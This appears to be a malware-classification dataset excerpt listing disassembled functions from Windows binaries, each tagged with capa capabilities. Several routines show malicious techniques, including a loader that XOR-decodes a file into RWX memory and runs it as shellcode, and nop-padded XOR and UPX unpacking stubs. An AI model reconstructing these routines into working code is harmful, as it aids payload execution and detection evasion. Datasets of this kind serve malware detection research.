joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x41dea0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x15000]
push edi
or ebp, 0xffffffff
jmp 0x41dec2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41dec9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41deb8
mov eax, 1
add ebx, ebx
jne 0x41dedb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41ded0
jne 0x41deec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41ded0
xor ecx, ecx
sub eax, 3
jb 0x41df00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41df72
mov ebp, eax
add ebx, ebx
jne 0x41df0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41df18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41df3c
inc ecx
add ebx, ebx
jne 0x41df28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41df1d
jne 0x41df39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41df1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41df5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41df4d
jmp 0x41debe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41df5c
add edi, ecx
jmp 0x41debe
pop esi
mov edi, esi
mov ecx, 0x486
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41df7a
cmp byte [edi], 6
jne 0x41df7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41df7f
lea edi, [esi + 0x1b000]
mov eax, dword [edi]
or eax, eax
je 0x41dfee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1e068]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1e0b8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41dfac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1e0bc]
or eax, eax
je 0x41dfe8
mov dword [ebx], eax
add ebx, 4
jmp 0x41dfc9
call dword [esi + 0x1e0c0]
popal
jmp 0x4010fc

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x307d0750
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x14b528c4
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x43b64a
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x43b3c1
add edx, 0x430aba4e
call fcn.0043b683
sub edx, 1
xor dword [eax], esi
add edx, 0x394d68b
and ecx, edx
inc eax
sub ecx, 0x2e70211b
or ecx, ecx
inc edx
cmp eax, ebx
jne fcn.0043b64a
sub ecx, 0xc62a181b
and ecx, edx
ret
Function at 0x423060
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x142c
call fcn.0040fce0
mov eax, dword [0x42dbf8]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x142c], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xffffff
mov eax, dword [ebp - 0x142c]
mov byte [eax + 0x1580], 0
lea ecx, [ebp - 0x414]
push ecx
push 0x400
lea edx, [ebp - 0x1418]
push edx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x4231e5
mov dword [ebp - 0x141c], 0
jmp 0x4230d3
mov eax, dword [ebp - 0x141c]
add eax, 1
mov dword [ebp - 0x141c], eax
mov ecx, dword [ebp - 0x414]
shr ecx, 2
cmp dword [ebp - 0x141c], ecx
jae 0x4231e5
mov edx, dword [ebp - 0x141c]
mov eax, dword [ebp + edx*4 - 0x1418]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1420], eax
cmp dword [ebp - 0x1420], 0
je 0x4231d3
lea ecx, [ebp - 0x1428]
push ecx
push 4
lea edx, [ebp - 0x1424]
push edx
mov eax, dword [ebp - 0x1420]
push eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x4231d3
push 0x400
lea ecx, [ebp - 0x410]
push ecx
mov edx, dword [ebp - 0x1424]
push edx
mov eax, dword [ebp - 0x1420]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
mov dword [ebp - 0x418], 0
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x410]
push edx
mov ecx, dword [ebp - 0x142c]
call fcn.00422990
movzx eax, al
test eax, eax
je 0x4231d3
cmp dword [ebp - 0x418], 0x34000
jne 0x4231d3
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x141c]
mov eax, dword [ebp + edx*4 - 0x1418]
cmp eax, dword [ebp - 4]
jae 0x4231ba
mov ecx, dword [ebp - 0x141c]
mov edx, dword [ebp + ecx*4 - 0x1418]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x141c]
mov ecx, dword [ebp + eax*4 - 0x1418]
push ecx
mov ecx, dword [ebp - 0x142c]
call fcn.00422940
mov edx, dword [ebp - 0x1420]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4230c4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 4], eax
jne 0x4231fd
mov eax, dword [ebp - 0x142c]
mov byte [eax + 0x1580], 1
cmp dword [ebp - 8], 4
jge 0x42320e
mov ecx, dword [ebp - 0x142c]
call fcn.00422cb0
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0040e454
mov esp, ebp
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x1002311
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
xor esi, esi
push esi
mov dword [eax], esi
mov eax, dword [ebp + 0x14]
push esi
mov dword [eax], esi
lea eax, [ebp - 4]
push eax
push esi
push 7
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x1002359
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jle 0x10023bb
and eax, 0xffff
or eax, 0x80070000
jmp 0x10023bb
cmp dword [ebp - 4], esi
jne 0x1002362
xor eax, eax
jmp 0x10023bb
push ebx
push esi
push esi
push dword [ebp - 4]
call fcn.010092be
mov ebx, eax
cmp ebx, esi
jne 0x100237a
mov eax, 0x8007000e
jmp 0x10023ba
push esi
push esi
lea eax, [ebp - 4]
push eax
push ebx
push 7
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
test eax, eax
jne 0x10023ab
push ebx
call fcn.01008f89
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jle 0x10023ba
and eax, 0xffff
or eax, 0x80070000
jmp 0x10023ba
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
mov dword [eax], ebx
mov eax, dword [ebp - 4]
mov dword [ecx], eax
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 0x10

Function at 0x10023c6
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
xor esi, esi
push esi
mov dword [eax], esi
mov eax, dword [ebp + 0x14]
push esi
mov dword [eax], esi
lea eax, [ebp - 4]
push eax
push esi
push 7
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x100240e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jle 0x1002470
and eax, 0xffff
or eax, 0x80070000
jmp 0x1002470
cmp dword [ebp - 4], esi
jne 0x1002417
xor eax, eax
jmp 0x1002470
push ebx
push esi
push esi
push dword [ebp - 4]
call fcn.010092be
mov ebx, eax
cmp ebx, esi
jne 0x100242f
mov eax, 0x8007000e
jmp 0x100246f
push esi
push esi
lea eax, [ebp - 4]
push eax
push ebx
push 7
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
test eax, eax
jne 0x1002460
push ebx
call fcn.01008f89
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jle 0x100246f
and eax, 0xffff
or eax, 0x80070000
jmp 0x100246f
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
mov dword [eax], ebx
mov eax, dword [ebp - 4]
mov dword [ecx], eax
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 0x10
Function at 0x1008aa0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x1008ab3
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x1008aaf
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x1008ae0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x1008b1f
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x1008b15
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x1008b21
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x1008b05
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1009104
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
xor edi, edi
cmp eax, edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
je 0x10091fe
mov ebx, dword [ebp + 0x10]
cmp ebx, edi
je 0x10091fe
cmp dword [ebp + 8], edi
je 0x10091fe
mov esi, dword [ebp + 0x14]
cmp esi, edi
je 0x10091fe
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
mov dword [ebx], edi
mov dword [eax], edi
or dword [esi], 0xffffffff
call fcn.010093c5
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x1009183
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, edi
jle 0x100917e
and eax, 0xffff
or eax, 0x80070000
mov dword [ebp - 4], eax
jmp 0x10091d5
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x100916a
cmp dword [ebp - 0xc], edi
je 0x10091a4
mov dword [ebp - 4], 0x80004005
jmp 0x10091da
push edi
push edi
push edi
push 2
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, edi
mov dword [ebp - 8], eax
je 0x100916a
push dword [ebp + 8]
push edi
push edi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, edi
je 0x100916a
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov dword [edx], ecx
mov dword [ebx], eax
cmp dword [ebp - 4], edi
je 0x10091eb
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x10091eb
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [esi], 0xffffffff
cmp dword [ebp - 8], edi
je 0x10091f9
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
jmp 0x1009203
mov eax, 0x80070057
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x100920f
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [ebp + 8], esi
mov dword [ebp - 4], esi
je 0x10092af
cmp dword [ebp + 0xc], esi
je 0x10092af
cmp dword [ebp + 0x10], esi
je 0x10092af
push edi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
call fcn.010093c5
mov edi, eax
cmp edi, 0xffffffff
jne 0x1009265
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jle 0x1009261
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
jmp 0x10092aa
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1009293
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jle 0x100928f
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
jmp 0x10092a3
mov esi, dword [ebp - 4]
sub esi, dword [ebp + 0x10]
neg esi
sbb esi, esi
and esi, 0x80004005
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
jmp 0x10092b4
mov eax, 0x80070057
pop esi
leave
ret 0xc
Function at 0x10137e0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x1013805
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x1013878
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x101383a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x101386d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x101386b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x1013831
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x10137fc
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x41284c
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x4276d0]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push 8
pop ecx
push 0xf0000000
push 0x18
push 0x401270
xor ebx, ebx
mov dword [ebp - 4], eax
push ebx
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x30], cl
mov byte [ebp - 0x2f], 2
mov word [ebp - 0x2e], bx
mov dword [ebp - 0x2c], 0x6610
mov dword [ebp - 0x28], 0x20
lea edi, [ebp - 0x24]
push eax
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x412938
lea eax, [ebp + 0xc]
push eax
push ebx
push ebx
push 0x2c
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
xor edi, edi
test eax, eax
je 0x41292c
mov esi, dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
push ebx
lea eax, [ebp - 0x34]
push eax
push 4
push dword [ebp + 0xc]
inc edi
mov dword [ebp - 0x34], edi
call esi
test eax, eax
jne 0x4128db
xor edi, edi
jmp 0x412923
push ebx
lea eax, [ebp - 0x34]
push eax
push 3
push dword [ebp + 0xc]
mov dword [ebp - 0x34], edi
call esi
test eax, eax
je 0x4128d7
mov esi, dword [ebp + 8]
mov eax, dword [esi + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [esi + 4]
cmp eax, ebx
jne 0x412903
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
lea ecx, [ebp - 0x38]
push ecx
push eax
push ebx
push edi
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x4128d7
push dword [ebp - 0x38]
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::resize_unsigned_int_]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push ebx
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.004164a8
leave
ret 8
Function at 0x412947
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x4276d0]
push esi
push 0xf0000000
xor esi, esi
push 0x18
push esi
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x430]
push eax
mov dword [ebp - 0x438], 0x20
mov dword [ebp - 0x430], esi
mov dword [ebp - 0x42c], esi
mov byte [ebp - 0x28], 0xfb
mov byte [ebp - 0x27], 0x4b
mov byte [ebp - 0x26], 0x2b
mov byte [ebp - 0x25], 0x29
mov byte [ebp - 0x24], 0xe7
mov byte [ebp - 0x23], 0xdf
mov byte [ebp - 0x22], 0x8f
mov byte [ebp - 0x21], 0xb9
mov byte [ebp - 0x20], 0x1b
mov byte [ebp - 0x1f], 0xf3
mov byte [ebp - 0x1e], 0x6d
mov byte [ebp - 0x1d], 0xa7
mov byte [ebp - 0x1c], 0x7b
mov byte [ebp - 0x1b], 0xe7
mov byte [ebp - 0x1a], 0x59
mov byte [ebp - 0x19], 0x30
mov byte [ebp - 0x18], 0xd7
mov byte [ebp - 0x17], 0x93
mov byte [ebp - 0x16], 0xef
mov byte [ebp - 0x15], 0x9e
mov byte [ebp - 0x14], 0x54
mov byte [ebp - 0x13], 0xd4
mov byte [ebp - 0x12], 0x2c
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0xa2
mov byte [ebp - 0xf], 0xc5
mov byte [ebp - 0xe], 0x85
mov byte [ebp - 0xd], 0x2e
mov byte [ebp - 0xc], 0xd
mov byte [ebp - 0xb], 0xb1
mov byte [ebp - 0xa], 0x58
mov byte [ebp - 9], 0xf2
mov byte [ebp - 8], 0xb9
mov byte [ebp - 7], 0x26
mov byte [ebp - 6], 0x45
mov byte [ebp - 5], 0xfa
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x412b0a
push ebx
push edi
lea eax, [ebp - 0x42c]
push eax
push esi
push esi
push 0x800c
push dword [ebp - 0x430]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x412a46
xor edi, edi
jmp 0x412af9
mov edi, dword [sym.imp.ADVAPI32.dll_CryptHashData]
push esi
push 0x24
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x42c]
call edi
test eax, eax
jne 0x412a66
xor edi, edi
jmp 0x412aed
push 0x4012dc
push dword [ebp + 8]
mov dword [ebp - 0x434], esi
call dword [sym.imp.msvcrt.dll__wfopen]
mov ebx, eax
cmp ebx, esi
pop ecx
pop ecx
je 0x412acd
push ebx
push 0x400
lea eax, [ebp - 0x428]
push 1
push eax
call dword [sym.imp.msvcrt.dll_fread]
add esp, 0x10
cmp eax, esi
jbe 0x412ac5
add dword [ebp - 0x434], eax
push esi
push eax
lea eax, [ebp - 0x428]
push eax
push dword [ebp - 0x42c]
call edi
test eax, eax
je 0x412b17
cmp dword [ebp - 0x434], 0x4c00
jb 0x412a82
push ebx
call dword [sym.imp.msvcrt.dll_fclose]
pop ecx
push esi
lea eax, [ebp - 0x438]
push eax
push dword [ebp + 0xc]
push 2
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
xor edi, edi
test eax, eax
je 0x412aed
inc edi
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push esi
push dword [ebp - 0x430]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, edi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
pop esi
call fcn.004164a8
leave
ret 8
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push esi
push dword [ebp - 0x430]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push ebx
call dword [sym.imp.msvcrt.dll_fclose]
pop ecx
xor eax, eax
jmp 0x412b08
Function at 0x413ced
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
push ebx
push esi
mov esi, dword [ebp + 0x14]
mov eax, dword [esi + 4]
mov dword [ebp - 4], eax
mov eax, dword [esi]
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
push edi
lea ebx, [ecx + eax + 0x18]
jbe 0x413dcf
add ebx, 0x10
mov eax, dword [ebx]
test eax, eax
jne 0x413d6a
mov eax, dword [ebp + 0x10]
mov edi, dword [eax + 0x38]
test edi, edi
jle 0x413dba
push dword [esi + 0x34]
mov eax, dword [ebx - 4]
add eax, dword [ebp - 4]
push 4
push 0x1000
push edi
push eax
call dword [esi + 0x1c]
test eax, eax
je 0x413dd9
mov edx, dword [ebx - 4]
add edx, dword [ebp - 4]
mov ecx, edi
mov dword [ebx - 8], edx
mov edi, edx
mov edx, ecx
shr ecx, 2
xor eax, eax
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x413dba
mov ecx, dword [ebx + 4]
add ecx, eax
mov eax, dword [ebp + 0xc]
push ecx
call fcn.00413cd5
test eax, eax
je 0x413dd9
push dword [esi + 0x34]
mov eax, dword [ebx - 4]
add eax, dword [ebp - 4]
push 4
push 0x1000
push dword [ebx]
push eax
call dword [esi + 0x1c]
test eax, eax
je 0x413dd9
mov eax, dword [ebx - 4]
mov ecx, dword [ebx]
add eax, dword [ebp - 4]
mov esi, dword [ebx + 4]
add esi, dword [ebp + 8]
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x14]
mov dword [ebx - 8], eax
mov eax, dword [esi]
movzx eax, word [eax + 6]
inc dword [ebp - 8]
add ebx, 0x28
cmp dword [ebp - 8], eax
jl 0x413d1a
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0x10
xor eax, eax
jmp 0x413dd2